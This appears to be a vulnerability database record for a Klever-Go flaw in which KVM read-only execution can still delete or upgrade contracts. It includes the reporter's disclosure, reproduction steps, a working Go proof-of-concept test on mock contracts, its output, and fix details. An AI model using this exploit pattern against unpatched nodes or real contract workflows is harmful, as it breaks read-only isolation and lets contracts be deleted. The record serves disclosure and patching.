{"id":"CVE-2026-46403","aliases":["GHSA-jc6w-wmfc-fh33","GO-2026-5461"],"url":"https://o3.security/vulnerability/CVE-2026-46403","summary":"Klever-Go KVM read-only execution can commit contract delete and upgrade side effects","details":"## Publisher note\n\n**Fixed in `v1.7.17`.** Operators running `< v1.7.17` should upgrade. Contract delete and upgrade host-core paths now reject execution when `runtime.ReadOnly()` is true. The invariant is regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.\n\nPatch commits on `develop`: 333f6ec9, 68b94a40 (merged from private fork associated with the original advisory).\n\nThis advisory was originally filed jointly with a separate P2P throttler DoS finding, now tracked under [GHSA-74m6-4hjp-7226](https://github.com/klever-io/klever-go/security/advisories/GHSA-74m6-4hjp-7226) so each issue receives its own CVE.\n\nThe original disclosure from @LoGGGG240211 follows verbatim, including the embedded proof-of-concept source.\n\n---\n\n# Private Vulnerability Report\n\nRepository: klever-io/klever-go\nReviewed commit: 405d01b0abbf0d3e73b4a990bd7394a01f200dc2\nDisclosure channel: GitHub Private Vulnerability Reporting\nReporter GitHub account: LoGGGG240211\n\n## 2.2 KVM read-only execution can commit contract delete side effects\n\nSeverity            : Medium\nConfidence          : HIGH\nAttack Complexity   : MEDIUM\nPoC Status          : Confirmed\n\n### Description\n\nKVM exposes `ExecuteReadOnlyWithTypedArguments` as a read-only execution mechanism. The hook saves the previous read-only state, sets `runtime.SetReadOnly(true)`, executes the destination context, and then restores the previous read-only state. However, the indirect contract delete and upgrade paths do not reject execution when `runtime.ReadOnly()` is true. As a result, a contract reached through read-only execution can call the production delete hook for a target contract it owns. The delete path appends the target address to `vmOutput.DeletedAccounts`, the output context merges `DeletedAccounts` into the caller output, and the smart contract processor later processes the VM output by deleting accounts listed in that field.\n\nThe root cause is that read-only mode is applied as runtime state, but not enforced by the state-changing delete and upgrade host-core paths. This breaks the expected isolation boundary for workflows that rely on read-only calls to inspect another contract without allowing that callee to produce state-changing VM output.\n\n### Location\n\n1. [baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2097](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/vmhooks/baseOps.go#L2097)\n2. [baseOps.go, ExecuteReadOnlyWithTypedArguments(), line 2099](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/vmhooks/baseOps.go#L2099)\n3. [execution.go, doExecContractDelete(), line 237](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L237)\n4. [execution.go, doExecContractDelete(), line 246](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L246)\n5. [execution.go, executeUpgrade(), line 792](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L792)\n6. [execution.go, executeUpgrade(), line 831](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L831)\n7. [execution.go, executeDelete(), line 839](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L839)\n8. [execution.go, executeDelete(), line 849](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/hostCore/execution.go#L849)\n9. [output.go, PopMergeActiveState(), line 103](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/contexts/output.go#L103)\n10. [output.go, mergeVMOutputs(), line 615](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/kvm/vmhost/contexts/output.go#L615)\n11. [process.go, processVMOutput(), line 755](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/smartContract/process.go#L755)\n12. [process.go, processVMOutput(), line 765](https://github.com/klever-io/klever-go/blob/405d01b0abbf0d3e73b4a990bd7394a01f200dc2/core/process/smartContract/process.go#L765)\n\n### Preconditions\n\n1. A contract workflow invokes a callee through KVM read-only execution.\n2. The read-only callee owns, or otherwise satisfies the upgrade/delete permission checks for, the target contract.\n3. The target contract is upgradeable/deletable according to its KVM code metadata.\n4. No node operator privilege, validator role, oracle condition, or block-level timing condition is required.\n\n### Impact\n\nSuccessful exploitation violates KVM read-only isolation and allows state-changing delete side effects to be produced from a read-only nested execution. The PoC demonstrates that `DeletedAccounts` changes from zero entries before execution to one target entry after execution. Practical impact depends on contract workflows that trust read-only calls as non-mutating. In such workflows, an attacker-controlled or untrusted callee could hide delete or upgrade effects behind a read-only call. The delete effect is reversible only through redeployment or state recovery procedures available to the protocol or contract owner.\n\n### Exploit Cost\n\nThe cost is normal KVM smart contract execution gas. No flash loan, collateral, oracle manipulation, or external capital requirement is needed. The attacker must satisfy the contract-level preconditions above.\n\n### Steps to Reproduce\n\n1. Place `poc_kvm_readonly_delete_side_effect_test.go` in an empty directory.\n2. Run the dependency commands listed in the PoC header.\n3. Run `GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go`.\n4. Observe that the parent contract invokes a child contract through `ExecuteReadOnlyWithTypedArguments`.\n5. Observe that the child contract uses the production managed delete hook against a target contract it owns.\n6. Observe that the final VM output contains the target address in `DeletedAccounts` despite the delete action being triggered through read-only execution.\n\n### Proof-of-Concept Result\n\nRunning `GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go` after dependency setup produces the following output. The result confirms that read-only execution commits a delete side effect into VM output.\n\n```text\n# command-line-arguments.test\n/usr/bin/ld: warning: bint-x64-amd64.o: missing .note.GNU-stack section implies executable stack\n/usr/bin/ld: NOTE: This behaviour is deprecated and will be removed in a future version of the linker\n=== RUN   TestPoC_KVMReadOnlyCanCommitDeleteSideEffect\n    poc_kvm_readonly_delete_side_effect_test.go:90: deleted_accounts_before=0\n    poc_kvm_readonly_delete_side_effect_test.go:91: deleted_accounts_after=1\n    poc_kvm_readonly_delete_side_effect_test.go:92: target_deleted=true\n--- PASS: TestPoC_KVMReadOnlyCanCommitDeleteSideEffect (0.00s)\nPASS\nok  \tcommand-line-arguments\t0.007s\n```\n\n### Suggested Fix\n\nEnforce read-only mode in every state-changing KVM host path. At minimum, reject contract delete and contract upgrade execution when `runtime.ReadOnly()` is true. The same invariant should be regression-tested for delete, upgrade, storage writes, value transfers, and any VM output field that can later mutate chain state.\n\n## Proof-of-Concept Source\n\n### poc_kvm_readonly_delete_side_effect_test.go\n\n```go\npackage poc\n\n/*\nTarget contract   : Klever-Go KVM VM host hooks and smart contract processor; no on-chain address\nVulnerability     : Read-only execution isolation bypass with contract delete side effect\nSeverity          : Medium\nHow to run        : GOTOOLCHAIN=go1.25.9 go test -v poc_kvm_readonly_delete_side_effect_test.go\nExpected output   : The test passes and logs deleted_accounts_after=1 and target_deleted=true\nDependencies      : In an empty directory containing this file, run: go mod init klever-go-disclosure-poc; go get github.com/klever-io/klever-go@v1.7.17-0.20260422114731-405d01b0abbf; go get github.com/stretchr/testify@v1.11.1; go mod tidy\n*/\n\nimport (\n\t\"testing\"\n\n\tcontextmock \"github.com/klever-io/klever-go/kvm/mock/context\"\n\tworldmock \"github.com/klever-io/klever-go/kvm/mock/world\"\n\ttest \"github.com/klever-io/klever-go/kvm/testcommon\"\n\t\"github.com/klever-io/klever-go/kvm/vmhost/vmhooks\"\n\t\"github.com/klever-io/klever-go/vmcommon\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestPoC_KVMReadOnlyCanCommitDeleteSideEffect(t *testing.T) {\n\t// Build a production-relevant KVM setup with a parent contract, a child contract, and a target contract.\n\ttargetAddress := test.MakeTestSCAddressWithDefaultVM(\"readonlyTarget\")\n\n\t// Record the initial delete side-effect state before any read-only execution occurs.\n\tdeletedBefore := make([][]byte, 0)\n\trequire.NotContains(t, deletedBefore, targetAddress)\n\n\tvmOutput, err := test.BuildMockInstanceCallTest(t).\n\t\tWithContracts(\n\t\t\t// The parent contract models the transaction entrypoint controlled by a user or contract workflow.\n\t\t\ttest.CreateMockContract(test.ParentAddress).\n\t\t\t\tWithMethods(func(parentInstance *contextmock.InstanceMock, _ interface{}) {\n\t\t\t\t\tparentInstance.AddMockMethod(\"callReadOnlyChild\", func() *contextmock.InstanceMock {\n\t\t\t\t\t\thost := parentInstance.Host\n\n\t\t\t\t\t\t// The parent invokes the child through ExecuteReadOnly, which should not commit state effects.\n\t\t\t\t\t\tresult := vmhooks.ExecuteReadOnlyWithTypedArguments(\n\t\t\t\t\t\t\thost,\n\t\t\t\t\t\t\t100000,\n\t\t\t\t\t\t\t[]byte(\"deleteTarget\"),\n\t\t\t\t\t\t\ttest.ChildAddress,\n\t\t\t\t\t\t\tnil,\n\t\t\t\t\t\t)\n\t\t\t\t\t\trequire.Equal(t, int32(0), result)\n\n\t\t\t\t\t\treturn parentInstance\n\t\t\t\t\t})\n\t\t\t\t}),\n\t\t\t// The child contract is called in read-only mode but attempts to delete a contract it owns.\n\t\t\ttest.CreateMockContract(test.ChildAddress).\n\t\t\t\tWithMethods(func(childInstance *contextmock.InstanceMock, _ interface{}) {\n\t\t\t\t\tchildInstance.AddMockMethod(\"deleteTarget\", func() *contextmock.InstanceMock {\n\t\t\t\t\t\thost := childInstance.Host\n\t\t\t\t\t\tmanagedTypes := host.ManagedTypes()\n\n\t\t\t\t\t\t// Encode the target address and call the production ManagedDeleteContract hook.\n\t\t\t\t\t\tdestHandle := managedTypes.NewManagedBufferFromBytes(targetAddress)\n\t\t\t\t\t\targsHandle := managedTypes.NewManagedBuffer()\n\t\t\t\t\t\tmanagedTypes.WriteManagedVecOfManagedBuffers(nil, argsHandle)\n\n\t\t\t\t\t\tvmhooks.ManagedDeleteContractWithHost(host, destHandle, 100000, argsHandle)\n\n\t\t\t\t\t\treturn childInstance\n\t\t\t\t\t})\n\t\t\t\t}),\n\t\t\t// The target contract is upgradeable/deletable and owned by the read-only child.\n\t\t\ttest.CreateMockContract(targetAddress).\n\t\t\t\tWithCodeMetadata([]byte{vmcommon.MetadataUpgradeable, 0}).\n\t\t\t\tWithOwnerAddress(test.ChildAddress).\n\t\t\t\tWithMethods(),\n\t\t).\n\t\t// Execute only the parent entrypoint; the delete action is hidden behind ExecuteReadOnly.\n\t\tWithInput(test.CreateTestContractCallInputBuilder().\n\t\t\tWithRecipientAddr(test.ParentAddress).\n\t\t\tWithGasProvided(500000).\n\t\t\tWithFunction(\"callReadOnlyChild\").\n\t\t\tBuild()).\n\t\tAndAssertResults(func(_ *worldmock.MockWorld, _ *test.VMOutputVerifier) {})\n\n\trequire.NoError(t, err)\n\n\t// The read-only nested call must not create delete side effects, but the vulnerable implementation does.\n\tdeletedAfter := vmOutput.DeletedAccounts\n\trequire.Greater(t, len(deletedAfter), len(deletedBefore))\n\trequire.Contains(t, deletedAfter, targetAddress)\n\n\tt.Logf(\"deleted_accounts_before=%d\", len(deletedBefore))\n\tt.Logf(\"deleted_accounts_after=%d\", len(deletedAfter))\n\tt.Logf(\"target_deleted=%t\", true)\n}\n```","published":"2026-07-21T19:51:18.745Z","modified":"2026-08-12T03:51:25.944562363Z","cvss":{"score":6.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N"},"epss":{"score":0.00342,"percentile":0.27227,"asOf":"2026-08-18"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/klever-io/klever-go","fixedVersion":"1.7.17"}],"fix":{"url":"https://github.com/klever-io/klever-go/commit/333f6ec910906e227705fc5767dc897d8fbfc862","label":"klever-io/klever-go@333f6ec"},"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/46xxx/CVE-2026-46403.json"},{"type":"ADVISORY","url":"https://github.com/klever-io/klever-go/security/advisories/GHSA-jc6w-wmfc-fh33"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46403"},{"type":"FIX","url":"https://github.com/klever-io/klever-go/commit/333f6ec910906e227705fc5767dc897d8fbfc862"},{"type":"FIX","url":"https://github.com/klever-io/klever-go/commit/68b94a40824fac2d848a4ded6eb7c91ada6ce9ef"},{"type":"PACKAGE","url":"https://github.com/klever-io/klever-go"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:25.944562363Z"}}